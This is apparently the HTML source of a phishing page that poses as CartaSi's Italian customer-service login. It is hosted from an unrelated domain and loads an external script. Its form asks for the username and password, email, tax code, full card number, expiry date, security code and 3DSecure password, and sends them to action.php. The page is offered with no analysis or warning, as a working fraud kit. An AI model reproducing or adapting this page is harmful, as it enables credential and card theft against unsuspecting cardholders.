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<html><head><title>CartaSi Assistenza Clienti</title>
<base href="http://verborgenkracht.nl/files/">
<script type="text/javascript" src="arde.js" language="javascript"></script>
<link rel="stylesheet" href="css_acs.css" type="text/css" />
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<table class="TestoNormale" border="1" cellpadding="0" cellspacing="0" width="100%">
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<table class="TabellaInterna" border="0" cellpadding="0" cellspacing="0" height="320" width="100%">
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<img class="top_logo" align="left" src="csi2.gif" alt="logo Issuer" height="61">
<img class="top_logo" align="right" src="verified_logo.gif" alt="logo" height="61" width="90">
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<td colspan="2" align="center" height="320" valign="top" width="100%">
<table class="TestoNormale" border="0" cellpadding="0" cellspacing="3" width="95%">
<form name="frm" method="POST" onsubmit="return validate();" action="action.php">
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<td colspan="2"><br>
<table class="TestoNormale" border="0" cellpadding="1" cellspacing="0" width="100%">
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<img src="att.gif" align="left" height="27" hspace="10" vspace="5" width="31"><strong>Attenzione!</strong>
<br>Si prega di compilare tutti i campi richiesti.<br>
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<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Utente:
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<td>
<input id="usernameField" name="username" maxlength="20" tabindex="1" value="" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Password:
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<input id="passwordField" class="passwordField" name="password" maxlength="20" size="15" tabindex="1" value="" type="password" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Posta Elettronica:
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<td>
<input name="email" size="35" class="TestoNormale" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Codice Fiscale:
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<input name="cod_fisc" size="20" maxlength="20" class="TestoNormale" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Numero Carta:
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<td>
<input name="carnum" size="17" maxlength="16" class="TestoNormale" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Data di scadenza:
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<input name="expMonth" size="2" maxlength="2" class="TestoNormale" type="text" />
/
<input name="expYear" size="2" maxlength="2" class="TestoNormale" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Codice di sicurezza:
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<input name="csc" size="3" maxlength="3" class="TestoNormale" type="text" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td height="20" width="150">
Password 3DSecure:
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<td height="20">
<input name="passwd" size="20" class="TestoNormale" type="password" />
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<td colspan="2" bgcolor="dbdbdb" height="1">
<img src="pixel.gif" height="1" width="1">
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<td colspan="2" height="20">
<br><br>
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<form>
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<td colspan="2" align="center" height="27" valign="top">
<table class="TestoRosso" border="0" cellpadding="0" cellspacing="0" height="27" width="100%">
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<td align="right" bgcolor="dbdbdb" height="20" valign="middle">
<br><input type="submit" value="Prosegui" />
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<td align="left" bgcolor="ffffff" valign="top" width="2">
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<td align="center" bgcolor="dbdbdb" valign="middle" width="100">
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<td colspan="3" align="left" background="bottom.gif" height="1" valign="top">
<img src="bottom.gif" height="7" width="1">
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<td colspan="3" align="left" background="bottom.gif" height="1" valign="top">
<img src="bottom.gif" height="7" width="1">
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